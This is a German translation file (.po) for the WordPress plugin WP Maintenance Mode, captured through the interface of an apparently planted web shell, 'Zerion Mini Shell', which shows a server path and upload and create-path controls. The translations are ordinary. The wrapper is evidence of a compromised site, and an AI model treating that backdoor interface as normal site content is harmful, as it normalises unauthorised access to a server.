%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/deutsch.ongrace.com/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /var/www/projetos/deutsch.ongrace.com/wp-content/languages/plugins/wp-maintenance-mode-de_DE.po

# Translation of Plugins - WP Maintenance Mode & Coming Soon - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - WP Maintenance Mode & Coming Soon - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-03-07 13:24:30+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.1\n"
"Language: de\n"
"Project-Id-Version: Plugins - WP Maintenance Mode & Coming Soon - Stable (latest release)\n"

#: views/sidebar.php:36
msgid "Recommended"
msgstr "Empfohlen"

#: views/settings.php:887
msgid "Upload Avatar"
msgstr "Avatar hochladen"

#: views/settings.php:884
msgctxt "upload avatar button"
msgid "Upload"
msgstr "Hochladen"

#: views/settings.php:888
msgid "Choose picture"
msgstr "Bild wählen"

#: views/settings.php:506
msgid "Custom CSS"
msgstr "Individuelles CSS"

#: views/settings.php:457
msgctxt "upload background button"
msgid "Upload"
msgstr "Hochladen"

#: views/settings.php:461
msgid "Choose Background"
msgstr "Hintergrund wählen"

#: includes/classes/wp-maintenance-mode-admin.php:183
msgctxt "image_uploader default button_text"
msgid "Choose Image"
msgstr "Bild wählen"

#: includes/classes/wp-maintenance-mode-admin.php:182
msgctxt "image_uploader default title"
msgid "Upload Image"
msgstr "Bild hochladen"

#: views/settings.php:855
msgid "If you want to see the list of subscribers, go to Modules » Subscribe » Export as CSV."
msgstr "Um die Liste der Abonnenten anzuzeigen, gehe zu: Module » Abonnieren » Als CSV exportieren."

#: views/settings.php:120
msgid "GDPR"
msgstr "DSGVO"

#: views/settings.php:1019
msgid "Message 10"
msgstr "Nachricht 10"

#: views/settings.php:1011
msgid "Message 9"
msgstr "Nachricht 9"

#: views/settings.php:985 views/settings.php:1003
msgid "Message 8"
msgstr "Nachricht 8"

#: views/settings.php:961
msgid "Message 7"
msgstr "Nachricht 7"

#: views/settings.php:953
msgid "Message 6"
msgstr "Nachricht 6"

#: views/settings.php:945
msgid "Message 5"
msgstr "Nachricht 5"

#: views/settings.php:937
msgid "Message 4"
msgstr "Nachricht 4"

#: views/settings.php:927 views/settings.php:969 views/settings.php:993
msgid "Response"
msgstr "Antwort"

#: views/settings.php:919
msgid "Message 3"
msgstr "Nachricht 3"

#: views/settings.php:911
msgid "Message 2"
msgstr "Nachricht 2"

#: views/settings.php:903
msgid "Message 1"
msgstr "Nachricht 1"

#: views/settings.php:878
msgid "Upload avatar"
msgstr "Avatar hochladen"

#: views/settings.php:873
msgid "This name will appear when the bot is typing."
msgstr "Dieser Name erscheint, wenn der Bot tippt."

#: views/settings.php:112
msgid "Manage Bot"
msgstr "Bot verwalten"

#: includes/classes/wp-maintenance-mode.php:253
msgid "Boring"
msgstr "Langweilig "

#: includes/classes/wp-maintenance-mode.php:247
msgid "Got it! Thank you and see you soon here!"
msgstr "Ich habs! Danke und bis bald!"

#: includes/classes/wp-maintenance-mode.php:240
msgid "What is your name?"
msgstr "Wie ist dein Name?"

#: views/settings.php:408
msgid "This text will not be shown when the bot feature is enabled."
msgstr "Dieser Text wird nicht angezeigt, wenn die Bot-Funktion aktiviert ist."

#: views/settings.php:978
msgid "Edit button two"
msgstr "Button Zwei bearbeiten"

#: views/settings.php:974
msgid "Edit button one"
msgstr "Button Eins bearbeiten"

#: includes/classes/wp-maintenance-mode.php:248
msgid "Have a great day!"
msgstr "Einen schönen Tag noch!"

#: includes/classes/wp-maintenance-mode.php:241
msgid "Nice to meet you here, {visitor_name}!"
msgstr "Schön dich hier zu treffen, {visitor_name}!"

#: views/settings.php:807
msgid "Enable IP anonymization?"
msgstr "IP-Anonymisierung aktivieren?"

#: includes/classes/wp-maintenance-mode.php:259
msgid "Privacy Policy"
msgstr "Datenschutzerklärung"

#: views/settings.php:897
msgid "Customize Messages"
msgstr "Nachrichten anpassen"

#: includes/classes/wp-maintenance-mode-admin.php:850
msgid "WPMM: The file data.js could not be written, the bot will not work correctly."
msgstr "WPMM: Die Datei data.js konnte nicht geschrieben werden, der Bot wird nicht korrekt funktionieren."

#: includes/classes/wp-maintenance-mode.php:239
msgid "I have just a few questions."
msgstr "Ich habe ein paar Fragen"

#. translators: number of subscribers
#: includes/classes/wp-maintenance-mode-admin.php:284
msgctxt "ajax response"
msgid "You have %d subscriber"
msgid_plural "You have %d subscribers"
msgstr[0] "Du hast %d Abonnenten"
msgstr[1] "Du hast %s Abonnenten"

#. translators: number of subscribers
#: views/settings.php:606 views/settings.php:776
msgctxt "settings page"
msgid "You have %d subscriber"
msgid_plural "You have %d subscribers"
msgstr[0] "Du hast %d Abonnenten"
msgstr[1] "Du hast %s Abonnenten"

#: views/settings.php:891
msgid "A 512 x 512 px will work just fine."
msgstr "Ein 512 x 512 px wird gut funktionieren."

#: includes/classes/wp-maintenance-mode.php:252
msgid "Tell me more"
msgstr "Erzähle mir mehr"

#: includes/classes/wp-maintenance-mode.php:254
#: includes/classes/wp-maintenance-mode.php:736
msgid "Type your email here…"
msgstr "Gib hier deine E-Mail-Adresse ein…"

#: includes/classes/wp-maintenance-mode.php:733
msgid "Please type in a valid email address."
msgstr "Bitte gib eine gültige E-Mail-Adresse ein."

#: views/settings.php:1003
msgid "(click on button two)"
msgstr "(Klicke auf den Button zwei)"

#: views/settings.php:985 views/settings.php:1011 views/settings.php:1019
msgid "(click on button one)"
msgstr "(Klicke auf den Button eins)"

#: views/settings.php:932 views/settings.php:998
msgid "Edit the placeholder's text"
msgstr "Text des Platzhalters bearbeiten"

#: views/settings.php:1087
msgid "Contact form 'tail'"
msgstr "Kontaktformular „Tail“"

#: views/settings.php:1082
msgid "Choose how the link will open."
msgstr "Wähle aus, wie der Link geöffnet wird."

#: views/settings.php:1096
msgid "Subscribe form 'tail'"
msgstr "Anmeldeformular „Tail“"

#: includes/classes/wp-maintenance-mode.php:243
msgid "I know, you are very excited to see it, but we need a few days to finish it."
msgstr "Ich weiß, du würdest sie wahnsinnig gerne sehen, aber leider benötigen wir noch einige Tage, um sie fertigzustellen."

#: includes/classes/wp-maintenance-mode.php:245
msgid "Cool! Please leave your email here and I will send you a message when it's ready."
msgstr "Cool! Bitte hinterlasse deine E-Mail-Adresse und ich werde dir eine Nachricht schicken, wenn sie bereit ist."

#: includes/classes/wp-maintenance-mode.php:238
msgid "Hey! My name is {bot_name}, I'm the owner of this website and I'd like to be your assistant here."
msgstr "Hallo! Mein Name ist {bot_name}, ich bin der Inhaber dieser Website und würde dich gerne unterstützen."

#: views/settings.php:1060
msgid "Label the link that will be shown on frontend footer"
msgstr "Benenne den Link, der in der Fußzeile im Frontend angezeigt wird."

#: views/settings.php:1056
msgid "Link name"
msgstr "Link-Name"

#: views/settings.php:1042
msgid "Here we added some generic texts that you may want to review, change or remove."
msgstr "Hier haben wir einige allgemeine Texte hinzugefügt, die du gerne durchsehen, ändern oder entfernen kannst."

#: views/settings.php:1041
msgid "To make the plugin GDPR compliant, fill in the details and enable this section."
msgstr "Um das Plugin DSGVO-konform zu gestalten, fülle die Felder aus und aktiviere danach diesen Abschnitt."

#: views/settings.php:854
msgid "It is also ok if you don't fill in all the conversation steps if you don't need to."
msgstr "Es ist auch in Ordnung, wenn du nicht alle Dialogfelder ausfüllst, wenn du sie nicht benötigst."

#: includes/classes/wp-maintenance-mode-admin.php:1102
msgid "Your WordPress version supports Privacy settings but you haven't set any privacy policy page yet. Go to Settings ➡ Privacy to set one."
msgstr "Deine WordPress-Version unterstützt Datenschutzeinstellungen, aber du hast noch keine Seite mit Datenschutzrichtlinien eingerichtet. Gehe zu Einstellungen ➡ Privacy bzw. Datenschutz, um eine zu erstellen."

#: views/settings.php:1091 views/settings.php:1100
msgid "This will be shown together with the acceptance checkbox below the form"
msgstr "Wird zusammen mit der Bestätigungs-Checkbox unter dem Formular angezeigt."

#: views/settings.php:853
msgid "You may also want to use these wildcards: {bot_name} and {visitor_name} to make the conversation even more realistic."
msgstr "Vielleicht möchtest du auch die Platzhalter {bot_name} und {visitor_name} verwenden, um den Dialog noch realistischer zu gestalten."

#: views/settings.php:1075
msgid "P. Policy link target"
msgstr "Link-Ziel für Datenschutzerklärung"

#: views/settings.php:1065
msgid "P. Policy page link"
msgstr "Link zur Seite mit der Datenschutzerklärung"

#: views/settings.php:869
msgid "Bot Name"
msgstr "Name des Bots"

#: includes/classes/wp-maintenance-mode.php:732
msgid "Please type in your name."
msgstr "Bitte gib deinen Namen ein."

#: includes/classes/wp-maintenance-mode.php:251
#: includes/classes/wp-maintenance-mode.php:735
msgid "Type your name here…"
msgstr "Gib hier Deinen Namen ein…"

#: includes/classes/wp-maintenance-mode.php:246
msgid "Sad to hear that, {visitor_name} :( See you next time…"
msgstr "Tut mir leid dies zu hören, {visitor_name} :( Bis ein andermal…"

#: includes/classes/wp-maintenance-mode.php:244
msgid "Would you like to be first to see it?"
msgstr "Möchtest du der Erste sein, der sie sieht?"

#: includes/classes/wp-maintenance-mode.php:242
msgid "How you can see, our website will be launched very soon."
msgstr "Wie du siehst, wird unsere Website demnächst veröffentlicht."

#: includes/classes/wp-maintenance-mode-admin.php:1115
msgid "No privacy features detected for your WordPress version. Update WordPress to get this field automatically filled in or type in the URL that points to your privacy policy page."
msgstr "Es wurden keine Datenschutzbestimmungen für deine WordPress Version entdeckt. Aktualisiere WordPress, damit dieses Feld automatisch ausgefüllt wird, oder gib die URL ein, die auf deine Seite mit den Datenschutzbestimmungen verweist."

#: includes/classes/wp-maintenance-mode.php:263
msgid "This form collects your email so that we can add you to our newsletter list. Check out our <a href=\"#\">Privacy Policy</a> page to fully understand how we protect and manage your submitted data."
msgstr "Dieses Formular sammelt deine E-Mail, damit wir dich in unsere Newsletter-Liste aufnehmen können. In unserer <a href=\"#\">Datenschutzerklärung</a> erfährst du mehr darüber, wie wir deine übermittelten Daten schützen und verwalten."

#: includes/classes/wp-maintenance-mode-admin.php:231
#: includes/classes/wp-maintenance-mode-admin.php:278
#: includes/classes/wp-maintenance-mode-admin.php:357
#: includes/classes/wp-maintenance-mode-admin.php:561
#: includes/classes/wp-maintenance-mode-admin.php:593
#: includes/classes/wp-maintenance-mode-admin.php:627
#: includes/classes/wp-maintenance-mode-admin.php:680
#: includes/classes/wp-maintenance-mode-admin.php:723
#: includes/classes/wp-maintenance-mode-admin.php:754
#: includes/classes/wp-maintenance-mode-admin.php:780
#: includes/classes/wp-maintenance-mode-admin.php:986
#: includes/classes/wp-maintenance-mode.php:1217
#: includes/classes/wp-maintenance-mode.php:1255
msgid "Security check."
msgstr "Sicherheitsüberprüfung."

#: includes/classes/wp-maintenance-mode-admin.php:226
#: includes/classes/wp-maintenance-mode-admin.php:273
#: includes/classes/wp-maintenance-mode-admin.php:347
#: includes/classes/wp-maintenance-mode-admin.php:551
#: includes/classes/wp-maintenance-mode-admin.php:588
#: includes/classes/wp-maintenance-mode-admin.php:622
#: includes/classes/wp-maintenance-mode-admin.php:675
#: includes/classes/wp-maintenance-mode-admin.php:718
#: includes/classes/wp-maintenance-mode-admin.php:749
#: includes/classes/wp-maintenance-mode-admin.php:775
#: includes/classes/wp-maintenance-mode-admin.php:981
msgid "The nonce field must not be empty."
msgstr "Das Nonce-Feld darf nicht leer sein."

#: views/settings.php:834
msgid "Allowed formats: UA-XXXXXXXX, UA-XXXXXXXX-XXXX, G-XXXXXXXX. Eg: UA-12345678-1 is valid"
msgstr "Erlaubte Formate: UA-XXXXXXXX, UA-XXXXXXXX-XXXX, G-XXXXXXXX. Beispiel: UA-12345678-1 ist gültig"

#. translators: link to plugin reviews page on wp.org
#: includes/classes/wp-maintenance-mode-admin.php:1034
msgid "If you like <strong>WP Maintenance Mode</strong> please leave us a %s rating. A huge thank you from WP Maintenance Mode makers in advance!"
msgstr "Wenn dir <strong>WP Maintenance Mode</strong> gefällt, schreibe doch eine %s Bewertung. Ein großes Dankeschön im Voraus von den Machern von WP Maintenance Mode!"

#: views/settings.php:155 views/settings.php:168
msgid "Select role(s)"
msgstr "Rolle(n) auswählen"

#: views/contact.php:88
msgid "Email:"
msgstr "E-Mail:"

#: views/contact.php:103
msgid "Content:"
msgstr "Inhalt:"

#: views/contact.php:76
msgid "Name:"
msgstr "Name:"

#. translators: name of the blog
#: views/contact.php:54
msgid "You have been contacted via %s."
msgstr "Du hast eine Nachricht über %s erhalten."

#: includes/classes/wp-maintenance-mode-admin.php:222
#: includes/classes/wp-maintenance-mode-admin.php:269
#: includes/classes/wp-maintenance-mode-admin.php:342
#: includes/classes/wp-maintenance-mode-admin.php:546
msgid "You do not have access to this resource."
msgstr "Du hast keinen Zugriff auf diese Ressource."

#: views/maintenance.php:118 views/maintenance.php:182
#: views/maintenance.php:185 views/maintenance.php:193
#: views/maintenance.php:201
msgid "This field is required."
msgstr "Dies ist ein Pflichtfeld."

#: views/settings.php:612 views/settings.php:782
msgid "Empty subscribers list"
msgstr "Leere Abonnenten-Liste"

#: includes/classes/wp-maintenance-mode-admin.php:352
#: includes/classes/wp-maintenance-mode-admin.php:556
msgid "The tab slug must not be empty."
msgstr "Der Tab „slug“ darf nicht leer sein."

#: includes/classes/wp-maintenance-mode-admin.php:978
msgid "Notice key cannot be empty."
msgstr "Notice-Schlüssel kann nicht leer sein."

#: includes/classes/wp-maintenance-mode-admin.php:363
#: includes/classes/wp-maintenance-mode-admin.php:567
msgid "The tab slug must exist."
msgstr "Der Tab „slug“ muss existieren."

#. Description of the plugin
msgid "Adds a splash page to your site that lets visitors know your site is down for maintenance. It's perfect for a coming soon page."
msgstr "Schaltet der Website eine Seite vor, die Besucher über laufende Wartungsarbeiten informiert. Perfekt für eine «Baustellen-Seite»."

#: includes/classes/wp-maintenance-mode-admin.php:883
msgid "Settings"
msgstr "Einstellungen"

#: includes/classes/wp-maintenance-mode.php:667 views/settings.php:288
msgid "Maintenance Mode"
msgstr "Wartungsmodus"

#: views/maintenance.php:113 views/settings.php:573 views/settings.php:763
msgid "Subscribe"
msgstr "Abonniere"

#: views/maintenance.php:182 views/sidebar.php:16
msgid "Name"
msgstr "Name"

#: views/maintenance.php:185
msgid "E-mail"
msgstr "E-Mail"

#: views/maintenance.php:193
msgid "Your message"
msgstr "Deine Mitteilung"

#: includes/classes/wp-maintenance-mode.php:737 views/maintenance.php:212
msgid "Send"
msgstr "Senden"

#: views/maintenance.php:219
msgid "Contact us"
msgstr "Kontaktiere uns"

#: views/settings.php:92
msgid "General"
msgstr "Allgemein"

#: views/settings.php:99
msgid "Design"
msgstr "Design"

#: views/settings.php:105
msgid "Modules"
msgstr "Module"

#: views/settings.php:131 views/settings.php:860 views/settings.php:1047
msgid "Status"
msgstr "Status"

#: views/settings.php:135 views/settings.php:864 views/settings.php:1051
msgid "Deactivated"
msgstr "Inaktiv"

#: views/settings.php:144 views/settings.php:215 views/settings.php:228
#: views/settings.php:539 views/settings.php:583 views/settings.php:630
#: views/settings.php:734 views/settings.php:800 views/settings.php:811
msgid "Yes"
msgstr "Ja"

#: views/settings.php:145 views/settings.php:216 views/settings.php:229
#: views/settings.php:540 views/settings.php:584 views/settings.php:631
#: views/settings.php:735 views/settings.php:801 views/settings.php:812
msgid "No"
msgstr "Nein"

#: views/settings.php:152
msgid "Backend Role"
msgstr "Backend-Rolle"

#: views/settings.php:165
msgid "Frontend Role"
msgstr "Frontend-Rolle"

#: views/settings.php:190
msgid "Redirection"
msgstr "Weiterleitung"

#: views/settings.php:211
msgid "Notice"
msgstr "Hinweis"

#: views/settings.php:238 views/settings.php:516 views/settings.php:841
#: views/settings.php:1029 views/settings.php:1107
msgid "Save settings"
msgstr "Einstellungen speichern"

#: views/settings.php:239 views/settings.php:517 views/settings.php:842
#: views/settings.php:1030 views/settings.php:1108
msgid "Reset settings"
msgstr "Einstellungen zurücksetzen"

#: views/settings.php:359
msgid "Heading"
msgstr "Überschrift"

#: views/settings.php:368 views/settings.php:590
msgid "Text"
msgstr "Text"

#: views/settings.php:425
msgid "Background"
msgstr "Hintergrund"

#: views/settings.php:435
msgid "Custom color"
msgstr "Benutzerdefinierte Farbe"

#: views/settings.php:436
msgid "Uploaded background"
msgstr "Hochgeladene Hintergründe"

#: views/settings.php:437
msgid "Predefined background"
msgstr "Vordefinierte Hintergründe"

#: views/settings.php:443
msgid "Choose color"
msgstr "Farbe wählen"

#: views/settings.php:469
msgid "Choose background"
msgstr "Hintergrund wählen"

#: views/settings.php:529
msgid "Countdown"
msgstr "Countdown"

#: views/settings.php:546
msgid "Start date"
msgstr "Start-Datum"

#: views/settings.php:554
msgid "Countdown (remaining time)"
msgstr "Countdown (Restzeit)"

#: views/settings.php:557
msgid "Days"
msgstr "Tage"

#: views/settings.php:558
msgid "Hours"
msgstr "Stunden"

#: views/settings.php:559
msgid "Minutes"
msgstr "Minuten"

#: views/settings.php:564
msgid "Color"
msgstr "Farbe"

#: views/settings.php:611 views/settings.php:781
msgid "Export as CSV"
msgstr "Export als CSV"

#: views/settings.php:620
msgid "Social Networks"
msgstr "Soziale Netzwerke"

#: views/settings.php:724
msgid "Contact"
msgstr "Kontakt"

#: views/settings.php:741
msgid "Email address"
msgstr "E-Mail-Adresse"

#: views/settings.php:749
msgid "Effects"
msgstr "Effekte"

#: views/sidebar.php:22
msgid "Author"
msgstr "Autor"

#: views/sidebar.php:23
msgid "Website"
msgstr "Website"

#: views/sidebar.php:24
msgid "Twitter"
msgstr "Twitter"

#: views/sidebar.php:25
msgid "GitHub"
msgstr "GitHub"

#: views/maintenance.php:231
msgid "Dashboard"
msgstr "Dashboard"

#: views/loginform.php:17
msgid "Login"
msgstr "Anmelden"

#: views/settings.php:790
msgid "Google Analytics"
msgstr "Google Analytics"

#: views/settings.php:796
msgid "Use Google Analytics?"
msgstr "Google Analytics benutzen?"

#: includes/classes/wp-maintenance-mode.php:194
msgid "<p>Sorry for the inconvenience.<br />Our website is currently undergoing scheduled maintenance.<br />Thank you for your understanding.</p>"
msgstr "<p>Entschuldige die Unannehmlichkeiten.<br />Diese Website befindet sich aktuell im Wartungsmodus.<br />Vielen Dank für das Verständnis.</p> "

#: views/settings.php:224
msgid "Dashboard link"
msgstr "Dashboard-Link"

#: includes/classes/wp-maintenance-mode-admin.php:299
#: includes/classes/wp-maintenance-mode-admin.php:300
#: includes/classes/wp-maintenance-mode.php:982
msgid "WP Maintenance Mode"
msgstr "WP Maintenance Mode"

#: views/settings.php:535
msgid "Show countdown?"
msgstr "Countdown anzeigen?"

#: views/settings.php:599 views/settings.php:769
msgid "Stats"
msgstr "Statistiken"

#: views/settings.php:626
msgid "Show social networks?"
msgstr "Soziale Netzwerke anzeigen?"

#: views/settings.php:637
msgid "Links target?"
msgstr "target-Attribut für Links?"

#: views/settings.php:351
msgid "Title (HTML tag)"
msgstr "Titel (HTML-Tag)"

#: views/settings.php:644
msgid "Choose how the links will open."
msgstr "Wähle aus, wie die Links sich öffnen."

#: views/settings.php:206
msgid "Exclude feed, pages, archives or IPs from maintenance mode. Add one slug / IP per line!"
msgstr "Feed, einzelne Seiten, Archive oder IPs können vom Wartungsmodus ausgenommen werden. Ergänze einen Slug oder eine IP pro Zeile."

#: views/settings.php:830
msgid "Tracking code"
msgstr "Tracking-Code"

#: views/sidebar.php:12
msgid "Plugin Info"
msgstr "Plugin-Info"

#: views/settings.php:178
msgid "Robots Meta Tag"
msgstr "Robots-Meta-Tag"

#: views/settings.php:185
msgid "The robots meta tag lets you use a granular, page-specific approach to control how an individual page should be indexed and served to users in search results."
msgstr "Mit dem  Robots-Meta-Tag kannst du steuern, wie die Seite während des Wartungsmodus indiziert werden soll."

#: views/settings.php:140
msgid "Bypass for Search Bots"
msgstr "Bypass für Such-Bots"

#: views/settings.php:147
msgid "Allow Search Bots to bypass maintenance mode?"
msgstr "Such-Bots den Zugang via Bypass erlauben?"

#: views/settings.php:579
msgid "Show subscribe?"
msgstr "Feld für E-Mail-Benachrichtigung („Abo“) anzeigen?"

#: views/settings.php:231
msgid "Do you want to add a link to the dashboard on your maintenance mode page?"
msgstr "Möchtest du deiner Wartungsmodus-Seite einen Link zum Dashboard hinzufügen?"

#: views/settings.php:218
msgid "Do you want to see notices when maintenance mode is activated?"
msgstr "Möchtest du einen Hinweis sehen, wenn der Wartungsmodus aktiv ist?"

#: views/settings.php:755
msgid "Fold - Unfold"
msgstr "Einklappen – Ausklappen"

#: views/settings.php:753
msgid "Move top - Move bottom"
msgstr "Nach oben bewegen – Nach unten bewegen"

#: views/settings.php:730
msgid "Show contact?"
msgstr "Kontaktdaten anzeigen?"

#: views/settings.php:451
msgid "Upload background"
msgstr "Hintergrund hochladen"

#: views/maintenance.php:111
msgid "your e-mail..."
msgstr "Deine E-Mail-Adresse …"

#: views/settings.php:754
msgid "Zoom - Zoomed"
msgstr "Zoom – Vergrößern"

#. translators: plugin settings url
#: includes/classes/wp-maintenance-mode.php:396
msgid "WP Maintenance Mode plugin was relaunched and you MUST revise <a href=\"%s\">settings</a>."
msgstr "Das Plugin WP Maintenance Mode wurde aktualisiert und du MUSST die <a href=\"%s\">Einstellungen bearbeiten</a>."

#. translators: plugin settings url
#: includes/classes/wp-maintenance-mode-admin.php:909
msgid "The Maintenance Mode is <strong>active</strong>. Please don't forget to <a href=\"%s\">deactivate</a> as soon as you are done."
msgstr "Der Wartungsmodus ist <strong>aktiv</strong>. Bitte vergiss nicht, ihn zu <a href=\"%s\">deaktivieren</a>, sobald du fertig bist."

#: includes/classes/wp-maintenance-mode.php:1213
#: includes/classes/wp-maintenance-mode.php:1258 views/maintenance.php:185
msgid "Please enter a valid email address."
msgstr "Bitte gib eine gültige E-Mail-Adresse an."

#: includes/classes/wp-maintenance-mode.php:1251
msgid "All fields required."
msgstr "Alle Felder müssen ausgefüllt werden."

#: includes/classes/wp-maintenance-mode.php:1290
msgid "Your email was sent to the website administrator. Thanks!"
msgstr "Deine E-Mail wurde an den Administrator der Website gesendet. Vielen Dank!"

#: includes/classes/wp-maintenance-mode.php:1265
msgid "Message via contact"
msgstr "Nachricht via Kontakt"

#: views/settings.php:199
msgid "Exclude"
msgstr "Ausschließen"

#: views/settings.php:431
msgid "Choose type"
msgstr "Typ wählen"

#: includes/classes/wp-maintenance-mode.php:214
msgid "Notify me when it's ready"
msgstr "Benachrichtige mich, wenn die Arbeiten abgeschlossen sind."

#: views/settings.php:641 views/settings.php:1079
msgid "New page"
msgstr "In einem neuen Tab"

#: views/settings.php:642 views/settings.php:1080
msgid "Same page"
msgstr "Im gleichen Tab"

#: views/settings.php:464
msgid "Backgrounds should have 1920x1280 px size."
msgstr "Hintergründe sollten eine Größe von 1920×1280 px haben."

#: includes/classes/wp-maintenance-mode.php:1232
msgid "You successfully subscribed. Thanks!"
msgstr "Erfolgreich abonniert, danke!"

#: views/settings.php:134 views/settings.php:863 views/settings.php:1050
msgid "Activated"
msgstr "Aktiviert"

#. translators: free photos url
#: views/settings.php:476
msgid "* source <a href=\"%s\" target=\"_blank\">Free Photos</a>"
msgstr "* Quelle: <a href=\"%s\" target=\"_blank\">Free Photos</a>"

Zerion Mini Shell 1.0